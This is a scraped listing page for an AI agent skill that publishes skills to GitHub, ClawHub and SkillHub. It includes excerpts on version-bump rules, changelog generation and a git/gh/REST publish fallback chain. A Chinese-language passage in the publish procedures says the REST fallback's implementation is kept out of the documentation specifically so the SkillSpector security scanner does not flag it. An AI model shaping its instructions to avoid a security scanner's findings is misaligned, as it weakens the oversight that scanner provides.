Version Impact |\n|-------------|----------|---------------|\n| `SKILL.md` frontmatter (`version`, `name`, `description`) | **Breaking** | MAJOR |\n| `SKILL.md` rules (added/removed rules) | **Feature** | MINOR |\n| `SKILL.md` workflow steps (added/removed steps) | **Feature** | MINOR |\n| `SKILL.md` persona/task/scope changes | **Feature** | MINOR |\n| `references/*.md` (new files) | **Feature** | MINOR |\n| `references/*.md` (content changes) | **Enhancement** | MINOR or PATCH |\n| `README.md` / `README.en.md` | **Docs** | PATCH |\n| `CHANGELOG.md` | **Meta** | No bump |\n| `.github/**` | **Community** | PATCH |\n| `.claude-plugin/plugin.json` | **Meta** | No bump (follows SKILL.md) |\n| `LICENSE` / `.gitignore` | **Meta** | No bump |\n\n### Step 3: Determine Version Bump\n\n**Decision Tree**:\n\n```\nAnalyze all changed files\n │\n ├── Any SKILL.md frontmatter breaking change?\n │ (version/name/description changed, or rules removed)\n │ → MAJOR bump (X.0.0)\n │\n ├── Any new rules / new workflow steps / new reference files?\n │ → MINOR bump (0.X.0)\n │\n ├── Any reference content changes / new community templates?\n │ → MINOR bump (0.X.0) if significant\n │ → PATCH bump (0.0.X) if minor\n │\n └── Only README / docs / meta changes?\n → PATCH bump (0.0.X)\n```\n\n**Significance Test for \"MINOR or PATCH\"**:\n\n| Criteria | MINOR | PATCH |\n|----------|-------|-------|\n| New reference file added | ✅ | |\n| Reference file content significantly rewritten | ✅ | |\n| Reference file typo fixes / minor clarifications | | ✅ |\n| New community template added | ✅ | |\n| README section restructured | | ✅ |\n| Badge / link updates | | ✅ |\n\n### Step 4: Calculate New Version\n\n```bash\n# Get current version from SKILL.md frontmatter\nCURRENT_VERSION=$(grep '^version:' SKILL.md | sed 's/version: *\"\\(.*\\)\"/\\1/')\n\n# Calculate new version\n# MAJOR: 7.0.0 → 8.0.0\n# MINOR: 7.0.0 → 7.1.0\n# PATCH: 7.0.0 → 7.0.1\n```\n\n**Version Calculation Rules**:\n- Pre-release versions (e.g., `7.0.0-beta`) are not supported — always use stable semver\n- If current version has no PATCH component (e.g., `7.0`), treat as `7.0.0`\n- Version must always be 3 components: `MAJOR.MINO"},{"path":"references/changelog-generation.md","content":"# Changelog Generation Reference\n\nComplete procedures for automatically generating CHANGELOG entries from git history and change analysis.\n\n**When to read**: When entering Phase 2B (update & iteration), after version bump is confirmed. Read this file in full before generating CHANGELOG entries.\n\n---\n\n## Auto-Generation from Git Log\n\n### Step 1: Extract Commit History\n\n```bash\n# Get commits since last version tag\nLAST_TAG=$(git describe --tags --abbrev=0 2>/dev/null)\nif [ -z \"$LAST_TAG\" ]; then\n # No tags yet, get all commits\n git log --oneline\nelse\n git log ${LAST_TAG}..HEAD --oneline\nfi\n```\n\n### Step 2: Parse Commit Messages\n\n**Conventional Commits parsing**:\n\n| Pattern | Category | Example |\n|---------|----------|---------|\n| `feat(scope):` | Added | `feat(skill): add provenance block` |\n| `fix(scope):` | Fixed | `fix(docs): correct palette hex values` |\n| `docs(scope):` | Changed (docs) | `docs(design): add layout recipe section` |\n| `style(scope):` | Changed (style) | `style: format README tables` |\n| `refactor(scope):` | Changed | `refactor(workflow): restructure Step C` |\n| `feat(scope)!:` or `breaking:` | Breaking Changes | `feat(skill)!: change delivery pipeline` |\n| `chore(scope):` | Skip (meta) | `chore: update .gitignore` |\n\n**Non-conventional commits fallback**:\n\nIf commit messages don't follow Conventional Commits, analyze the actual file changes:\n\n| Changed Files | Category | Entry |\n|--------------|----------|-------|\n| New file in references/ | Added | \"Added reference document\" |\n| SKILL.md rules added | Added | \"Added new rules: \" |\n| SKILL.md rules removed | Breaking Changes | \"Removed \" |\n| SKILL.md workflow steps changed | Changed | \"Updated workflow: \" |\n| README.md/README.en.md | Changed | \"Updated documentation\" |\n| .github/ templates | Added | \"Added community issue/PR templates\" |\n| plugin.json version only | Skip | No entry needed |\n\n### Step 3: Generate CHANGELOG Entry\n\n**Template**:\n\n```markdown\n## [X.Y.Z] - YYYY-MM-DD\n\n### Breaking Changes\n- **[scope]**: Description of breaking change\n\n### Added\n- **[scope]**: Description of new feature\n- **[scope]**: Description of new feature\n\n### Changed\n- **[scope]**: Description of change\n- **[scope]**: Description of change\n\n### Fixed\n- **[scope]**: Description of fix\n\n### Removed\n- **[scope]**: Description of removal\n```\n\n**Rules**:\n1. **Always prepend** the new entry at the top of CHANGELOG.md (after the header)\n2. **Date format**: `YYYY-MM-DD` (ISO 8601)\n3. **Version format**: `[X.Y.Z]` (brackets, semver)\n4. **Scope is optional** but recommended for skills with multiple reference files\n5. **Each entry should be a complete sentence** starting with a verb (Added/Changed/Fixed/Removed)\n6. **Skip empty categories** — don't include `### Fixed` if there are no fixes\n7. **Breaking Changes always first** — users must see them immediately\n\n### Step 4: Merge with Existing CHANGELOG\n\n```bash\n# Read existing CHANGELOG\nHEAD_LIN"},{"path":"references/publish-procedures.md","content":"# Publish Procedures Reference\n\nComplete procedures for publishing to GitHub and ClawHub, including API details, fallback methods, and troubleshooting.\n\n**When to read**: When entering Phase 3 (push and publish). Read this file in full before executing any publish commands.\n\n---\n\n## GitHub Publishing\n\n### Push Fallback Chain\n\n```\ngit push（优先，最快）\n → 失败 → gh CLI（次优，自动认证）\n → 失败 → REST API 逐文件上传（最后手段，最慢）\n```\n\n### Method A: git push (preferred)\n\n```bash\n# Initialize (first time)\ncd \ngit init\ngit config user.name \"\"\ngit config user.email \"@users.noreply.github.com\"\ngit add .\ngit commit -m \"feat: initial release vX.Y.Z\"\ngit remote add origin https://github.com//.git\ngit branch -M main\ngit push -u origin main\n```\n\n**Git config notes**:\n- Use repo-level config (`git config` without `--global`) to avoid polluting global settings\n- Use `@users.noreply.github.com` email to protect privacy\n- Author name from user confirmation\n\n### Method B: gh CLI (fallback when git push fails)\n\nWhen `git push` times out (443 connection failure), try `gh` CLI first:\n\n```bash\n# Check if gh CLI is available\ngh --version\n\n# Create repository (first time)\ngh repo create / --public --description \"\"\n\n# Push files via git (gh handles auth)\ngit push -u origin main\n\n# If git push still fails, use gh api for file operations\ngh api repos///contents/ \\\n --method PUT \\\n -f message=\"Upload \" \\\n -f branch=\"main\"\n\n# Create Release\ngh release create vX.Y.Z \\\n --repo / \\\n --title \" vX.Y.Z · \" \\\n --notes \"\"\n```\n\n**gh CLI advantages over REST API**:\n- Automatic authentication (no token extraction needed)\n- Handles rate limiting transparently\n- Supports `gh repo create` one-command repo setup\n- Supports `gh release create` one-command release\n- Better error messages\n\n**gh CLI availability check**:\n```bash\n# Check if gh is installed\ngh --version 2>/dev/null || echo \"gh CLI not available\"\n\n# Check if gh is authenticated\ngh auth status 2>/dev/null || echo \"gh CLI not authenticated\"\n```\n\nIf gh CLI is not available or not authenticated, inform the user to install gh CLI or retry git push later.\n\n### Method C: GitHub REST API 逐文件降级 (v5.22.1 新增，Level 3 fallback)\n\n> **重要约束**（v5.22.1，源自 SKILL.md 规则 25\"安全敏感方案不文档化\"）：本节只描述 Level 3 的**存在性**和**触发条件**，不文档化具体的 API 调用链、编码方式、多步 API 编排。详细实现按规则 25 约束执行，避免触发 SkillSpector 的 MCP Tool Poisoning / Tool Parameter Abuse finding。\n\n**触发条件**：\n- Level 1 (git push) 失败\n- Level 2 (gh CLI) 失败或不可用\n- 网络持续不可用，但需要完成 GitHub 同步\n\n**执行原则**：\n1. **优先告知用户**：Level 1 和 Level 2 都失败时，告知用户\"网络问题导致 git push 和 gh CLI 均失败，将尝试 Level 3 REST API 逐文件降级方案\"\n2. **使用 GitHub 官方 API 机制**：通过 GitHub REST API 逐文件上传，具体 API 端点和编码方式按 GitHub 官方文档执行（不文档化在此 skill 中）\n3. **失败处理**：如果 Level 3 也失败，告知用户网络问题，建议稍后重试或手动推送，并按 SKILL.md 规则 27 记录待补推版本\n4. **后续验证**：Level 3 成功后，建议用户在 GitHub 网页端验证文件完整性\n\n**设计原则**：\n- Level 3 的存在性可以文档化（让用户知道有降级方案）\n- Level 3 的具体 API 实现不文档化（避免 SkillSpecto"}],"languages":[],"docsSourceLabel":"CLAWHUB","editorialOverview":"技能发布 — 将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub。当用户说 技能发布到三平台/发布技能更新/迭代技能发布 时触发。⚠️ 本技能的行为范围（用户须知）：① 推送代码到外部平台（GitHub/ClawHub/SkillHub），操作对外可见且可能不可逆 ② 同步到本地 TRAE 安装目录（会覆盖已有版本） ③ 在本地 docs/knowledge/ 追加发布日志。执行前会向用户确认。含安全审查、隐私清洗、版本号查重、仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。Do NOT use for creating skill content, general coding, or non-skill projects. Skill: Skill Publisher 技能发布 Owner: edwardwason Summary: 技能发布 — 将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub。当用户说 技能发布到三平台/发布技能更新/迭代技能发布 时触发。⚠️ 本技能的行为范围（用户须知）：① 推送代码到外部平台（GitHub/ClawHub/SkillHub），操作对外可见且可能不可逆 ② 同步到本地 TRAE 安装目录（会覆盖已有版本） ③ 在本地 docs/knowledge/ 追加发布日志。执行前会向用户确认。含安全审查、隐私清洗、版本号查重、仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。Do NOT use for creating skill content, general coding, or non-skill projects. Tags: c","editorialQuality":{"score":100,"threshold":65,"status":"ready","wordCount":1493,"uniquenessScore":45,"reasons":[]}},"media":{"evidence":{"source":"no-media","verified":false,"confidence":"low","updatedAt":"2026-10-09T15:33:51.065Z","emptyReason":"No screenshots, media assets, or demo links are available."},"primaryImageUrl":null,"mediaAssetCount":0,"assets":[],"demoUrl":null},"ownerResources":{"evidence":{"source":"unclaimed","verified":false,"confidence":"low","updatedAt":"2026-10-09T15:33:51.065Z","emptyReason":"This page has not been claimed by the agent owner."},"hasCustomPage":false,"customPageUpdatedAt":null,"customLinks":[],"structuredLinks":{"docsUrl":null,"demoUrl":null,"supportUrl":null,"pricingUrl":null,"statusUrl":null},"customPage":null},"relatedAgents":{"evidence":{"source":"protocol-neighbors","verified":false,"confidence":"medium","updatedAt":"2026-10-09T21:08:15.849Z","emptyReason":null},"items":[{"id":"8ebccd8e-3863-4187-8355-c3f14e1f9edf","entityType":"agent","canonicalPath":"/agent/iofficeai-aionui","slug":"iofficeai-aionui","name":"AionUi","description":"Free, local, open-source 24/7 Cowork app and OpenClaw for Gemini CLI, Claude Code, Codex, OpenCode, Qwen Code, Goose CLI, Auggie, and more | 🌟 Star if you like it!","url":"https://github.com/iOfficeAI/AionUi","homepage":"https://www.aionui.com","source":"GITHUB_REPOS","protocols":["MCP","OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-10-09T19:11:12.944Z","createdAt":"2026-02-25T03:38:16.584Z","downloads":null},{"id":"b917f68a-ebff-438e-84f8-3f4b2494c0bc","entityType":"agent","canonicalPath":"/agent/activepieces-activepieces","slug":"activepieces-activepieces","name":"activepieces","description":"AI Agents & MCPs & AI Workflow Automation • (~400 MCP servers for AI agents) • AI Automation / AI Agent with MCPs • AI Workflows & AI Agents • MCPs for AI Agents","url":"https://github.com/activepieces/activepieces","homepage":"https://www.activepieces.com","source":"GITHUB_REPOS","protocols":["OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-04-15T02:22:12.426Z","createdAt":"2026-02-25T03:38:12.412Z","downloads":null},{"id":"5cb26759-3a39-483f-94cf-276a98c13bb8","entityType":"agent","canonicalPath":"/agent/cherryhq-cherry-studio","slug":"cherryhq-cherry-studio","name":"cherry-studio","description":"AI productivity studio with smart chat, autonomous agents, and 300+ assistants. Unified access to frontier LLMs","url":"https://github.com/CherryHQ/cherry-studio","homepage":"https://cherry-ai.com","source":"GITHUB_REPOS","protocols":["MCP","OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-04-11T14:38:40.986Z","createdAt":"2026-02-25T03:38:19.379Z","downloads":null},{"id":"6f6582d0-5d76-4f0f-b81d-86520247950b","entityType":"agent","canonicalPath":"/agent/copilotkit-copilotkit","slug":"copilotkit-copilotkit","name":"CopilotKit","description":"The Frontend for Agents & Generative UI. React + Angular","url":"https://github.com/CopilotKit/CopilotKit","homepage":"https://docs.copilotkit.ai","source":"GITHUB_REPOS","protocols":["OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-03-25T09:50:57.846Z","createdAt":"2026-02-25T03:39:14.617Z","downloads":null}],"links":{"hub":"/agent","source":"/agent/source/clawhub","protocols":[{"label":"OpenClaw","href":"/agent/protocol/openclew"}]}}}